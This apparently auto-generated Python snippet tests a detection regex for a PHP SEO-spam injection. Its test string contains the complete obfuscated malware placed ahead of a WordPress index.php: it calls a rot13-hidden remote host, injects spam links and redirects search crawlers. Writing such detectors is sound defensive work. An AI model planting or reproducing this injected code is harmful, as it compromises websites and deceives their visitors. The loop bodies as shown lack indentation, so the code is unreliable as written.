# coding=utf8
# the above tag defines encoding for this document and is for Python 2.x compatibility
import re
regex = r"^(?:[[:^print:][:cntrl:]\s]|GIF89.{0,20})*<\?(?:php)?\s*(\$\w+)=\@\$_server\[['\"]http_host['\"]\];\1.{0,90}?if\(\@\$_get\[[\"']merdo[\"'\]\)\{\w\s'\<\!\-]+sysadmin.{0,180}?curl_setopt\(\$.{0,370}?file_get_contents\(\$.{0,150}?$\w{0,21}=\@json_decode\(str_rot13\(.{0,460}?\$\w.{0,21}\[[\"']html.{0,550}?\$myurl=rtrim\(\$\w.{0,21}\[['\"]links.{0,110}header\(['\"]location:\s*[\"']\.\$url.{0,100}?\)\.['\"]\?merdo=.{0,140}?\);(?:[^>]+>\s*)?(?=\s*<\?(?:php)?)"
test_str = ("<?php $eMaOCtmXlSnImjmiCMmP=@$_SERVER[\"HTTP_HOST\"];$eMaOCtmXlSnImjmiCMmP=str_replace('www.','',$eMaOCtmXlSnImjmiCMmP);if(@$_GET[\"merdo\"]){echo '<!--SYSADMIN-->';exit();}function mMvIxjRKghDOytsXmHGz($WDqgjhajdhXeSWcZQBrY){if(function_exists('curl_init')){$JFOvIQnSKOvIvanRszDQ=curl_init();curl_setopt($JFOvIQnSKOvIvanRszDQ,CURLOPT_URL,$WDqgjhajdhXeSWcZQBrY);curl_setopt($JFOvIQnSKOvIvanRszDQ,CURLOPT_SSL_VERIFYPEER,false);curl_setopt($JFOvIQnSKOvIvanRszDQ,CURLOPT_RETURNTRANSFER,true);curl_setopt($JFOvIQnSKOvIvanRszDQ,CURLOPT_USERAGENT,\"RaBot\");curl_setopt($JFOvIQnSKOvIvanRszDQ,CURLOPT_TIMEOUT,10);return curl_exec($JFOvIQnSKOvIvanRszDQ);}else{return file_get_contents($WDqgjhajdhXeSWcZQBrY);}}function authRQaFMJbNLaJvrLTF($SMKstKjPCEdudocSCHHm){global $mnTIeyfFkNxHxpHFcEse;$DkiJvJYOhXiunDLZIogN=@json_decode(str_rot13($SMKstKjPCEdudocSCHHm),true);if($DkiJvJYOhXiunDLZIogN[\"type\"]==\"link\"||$DkiJvJYOhXiunDLZIogN[\"type\"]==\"anti\"){if(count($DkiJvJYOhXiunDLZIogN[\"links\"])){$XxXBDNFNLjLqzmBZbKRY='';foreach($DkiJvJYOhXiunDLZIogN[\"links\"]as $AXzHJsVXmlVXbzpqVwQJ){$XxXBDNFNLjLqzmBZbKRY.=\"<a href=\\\"\".$AXzHJsVXmlVXbzpqVwQJ[\"url\"].\"\\\" title=\\\"\".$AXzHJsVXmlVXbzpqVwQJ[\"title\"].\"\\\">\".$AXzHJsVXmlVXbzpqVwQJ[\"baslik\"].\"</a>\\n\";}$SmkbvCeraMrwNwvcAesM=$DkiJvJYOhXiunDLZIogN[\"html\"];$SmkbvCeraMrwNwvcAesM=str_replace('{LINK_CODE_REPLACE}',$XxXBDNFNLjLqzmBZbKRY,$SmkbvCeraMrwNwvcAesM);echo $SmkbvCeraMrwNwvcAesM;}else{$SmkbvCeraMrwNwvcAesM=$DkiJvJYOhXiunDLZIogN[\"html\"];$SmkbvCeraMrwNwvcAesM=str_replace('{LINK_CODE_REPLACE}','',$SmkbvCeraMrwNwvcAesM);echo $SmkbvCeraMrwNwvcAesM;}}elseif($DkiJvJYOhXiunDLZIogN[\"type\"]==\"redirect\"){if(@preg_match('#google#',$_SERVER[\"HTTP_USER_AGENT\"])){$uri=$_SERVER['REQUEST_URI'];$rand_keys=array_rand($DkiJvJYOhXiunDLZIogN[\"links\"],1);$myurl=rtrim($DkiJvJYOhXiunDLZIogN[\"links\"][$rand_keys][\"url\"],'/');$url=$myurl.$uri;header('HTTP/1.1 301 Moved Permanently');header('Location: '.$url.'');exit();}}}$VIsQtYtIlNsuLPcxywSQ=str_rot13('uggc://jjj.wnxxryyl.pbz/kynetr.cuc').'?merdo='.$eMaOCtmXlSnImjmiCMmP;$zEGHtEUrCiJBSXWxYOdV=mMvIxjRKghDOytsXmHGz($VIsQtYtIlNsuLPcxywSQ);authRQaFMJbNLaJvrLTF($zEGHtEUrCiJBSXWxYOdV); ?> <?php\n"
"/**\n"
" * Front to the WordPress application. This file doesn't do anything, but loads\n"
" * wp-blog-header.php which does and tells WordPress to load the theme.\n"
" *\n"
" * @package WordPress\n"
" */\n\n"
"/**\n"
" * Tells WordPress to load the WordPress theme and output it.\n"
" *\n"
" * @var bool\n"
" */\n"
"define( 'WP_USE_THEMES', true );\n\n"
"/** Loads the WordPress Environment and Template */\n"
"require( dirname( __FILE__ ) . '/wp-blog-header.php' );\n")
matches = re.finditer(regex, test_str, re.IGNORECASE | re.DOTALL)
for matchNum, match in enumerate(matches, start=1):
print ("Match {matchNum} was found at {start}-{end}: {match}".format(matchNum = matchNum, start = match.start(), end = match.end(), match = match.group()))
for groupNum in range(0, len(match.groups())):
groupNum = groupNum + 1
print ("Group {groupNum} found at {start}-{end}: {group}".format(groupNum = groupNum, start = match.start(groupNum), end = match.end(groupNum), group = match.group(groupNum)))
# Note: for Python 2.7 compatibility, use ur"" to prefix the regex and u"" to prefix the test string and substitution.
Please keep in mind that these code samples are automatically generated and are not guaranteed to work. If you find any syntax errors, feel free to submit a bug report. For a full regex reference for Python, please visit: https://docs.python.org/3/library/re.html